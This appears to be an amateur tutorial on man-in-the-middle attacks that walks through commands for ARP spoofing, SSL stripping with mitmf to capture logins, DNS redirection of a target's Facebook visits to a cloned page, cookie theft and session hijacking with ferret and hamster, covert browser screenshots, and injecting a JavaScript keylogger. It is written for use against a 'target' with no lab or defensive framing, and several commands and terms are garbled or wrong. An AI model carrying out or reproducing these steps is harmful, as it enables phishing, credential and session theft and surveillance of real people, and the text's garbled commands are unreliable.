Man-in-the-Middle attack
Man in the middle attack is a type of cyber attack which when carried out on a target is able to get all their browsing data, email and password, cookies, screenshots of their browser etc. The man in the middle attack is only possible in HTTP websites although it can be carried out in HTTPS websites to by downgrading it to HTTP with the help of mitmf (man in the middle firewall) it is not possible now a days the reason being the following :
- Previously mitmf performed SSL striping to HTTPs websites to HTTP when the HTTPS was not strictly enforced. This caused hackers to gain access to the target's valuable information. This made man in the middle attack effective before 2020 as after that was the widespread adoption of HSTS and HTTPS-by-default policies.
- After 2020 almost all sites and browsers have HSTS(HTTP Strict Transport Security) which causes the mitmf to fail as HSTS causes the website to automatically be converted to HTTPS by which man in the middle attacks fail.
So you can say that the fast development of technologies from 2020 onwards has made our system and softwares more secure and less prone to attacks if we have up-to-date systems as man in the middle attacks can still be carried out in devices not updated from 3-4 years ago.
When man in the middle attack is carried out the attacker imitates the ip address of the target to the router and the routers ip address to the target's computer. It may seem as though the attacker is playing the role of the router as they can intercept the messages between the host and also modify it if needed but the attacker acts as a forwarder not as a router.
One of the main point we need to keep in mind is traditional SSL striping man in the middle attacks are only successful when the websites the target is using is HTTP which is almost never used in recent times so it is advised to not dive deep in the traditional man in the middle attack as even experienced hackers dont rely on SSL striping based man in the middle attack as it is rare to succeed in recent times due to which hackers have moved on from SSL striping based attacks and instead use advanced attacks such as rouge access point, DNS snooping or malicious certificate.
The steps to carry out various man in the middle attacks are listed below.
1.How to tell the router that we are the client and the client that we are the
router?
First we need to enable ip forwarding in our computer to do that we use the command
Echo 1> /proc/sys and
Echo 1 > /proc/sys/net.ipv4/ip_forward
After that we will use ARspoof to trick the router and the clients device. To do that we use the command
Arpspoof -i (OUR WIFI CARD) -t (targets ip address) (routers ip address)
Arpspoof -i (OUR WIFI CARD) -t (routers ip address) (targets ip address)
This is how we can trick the router and the clients device
2.How to get login credentials from target?
To do that we use mitmf as stated before it helps in SSL striping which converts HTTPS sites to HTTPS to use mitmf we first need to download it. To do that we first need to use the command
Atp-get install mitmf
Then we enable ip forwarding
Echo 1 > /proc/sys/net.ipv4/ip_forward
Then use the mitmf to strip the HTTPS site
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0)
This method only works on sites that dont have HSTS as HSTS stops SSL striping by automatically converting HTTP sites to HTTPS.
3.How to bypass SSL certificate?
To bypass SSL certificate we use the code :
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0) >> /root/Desktop/test.txt
Here /root/Desktop/test.txt is used to specify the location of the text file where the information will be present after it runs as in HTTP it was directly shown in the terminal but now it will be shown in this text file other code are the same
4.How can we redirect the user to another website
DNS can be understood as server that will translate all the domain to an ip address. We mainly work with DNS when redirecting the target to another site.
To redirect we first need to enable the webserver in the linux for which we need to enable the apache service
To enable the apache service we use the command:
Service apache2 start
Then we will go to our computer file and go to var and www and add a html file there which will be seen by the client when they are redirected to our ip address. After creating a html file we will open the mitmf in a text editor and modify it a bit
In [A] queries for ipv4 address by removing the *=* sign and adding the site we want to redirect like i want to redirect his www.facebook.com to my identical facebook html site i can do www.facebook.com =(my ip address) then just save it and run the same code as before but adding a dns option i.e
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0) --dns
5.How is stealing the cookies from the browser possible
when the user has enabled remember me in the website they dont enter their email and password so by normal means we cant get the their information for that we need to steal their cookies
To do so we need to use ferret sidejack and to install it we use the command:
Apt-get install ferret-sidejack
It is a necessary tool for RP poisoning
After that we use the same command which is
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0)
Then we will enable ferret by the command:
Ferret -i (your wifi card)
It will steal the cookies from the users browser. Then to see the stolen cookies we use the command:
Hamster
It shows the cookies in website format. And directly gives us the URL for login by using the targets credentials
After that we need to enable manual proxy configuration whose steps are different for every device.
After that we use the ip address provided by the hamster in a browser so that we can see the cookies and also modify the database if necessary by changing the wifi card to yours from adapters.
6. How to capture screenshots of the targets browser
To capture screenshots of the target we use a simple command which is :
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0) --screen
It will take screenshots of the targets browser and to see the screenshots go to computer go to var then log and you will see mitmf folder the pics are stored there
We can also add intervals in the screenshot so that it can take a screenshot after a certain interval. To do that we add a --interval command at the end of above command i.e
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0) --screen -- interval 10(specifying seconds it will take a screenshot every 10 sec)
7. How can we inject a key logger in the targets laptop?
We can inject a key logger to the targets browser by using the following command. We use the same command as other but only add --jskeylogger at the end and the destination of the info i.e /root.Desktop/jskeylogger.txt
Mitmf --arp --spoof --target (ip address of the target) --gateway (my gateway) -i (my wificard which for me will be wlp2s0) --jskeylogger >> /root/Desktop/jskeylogger.txt
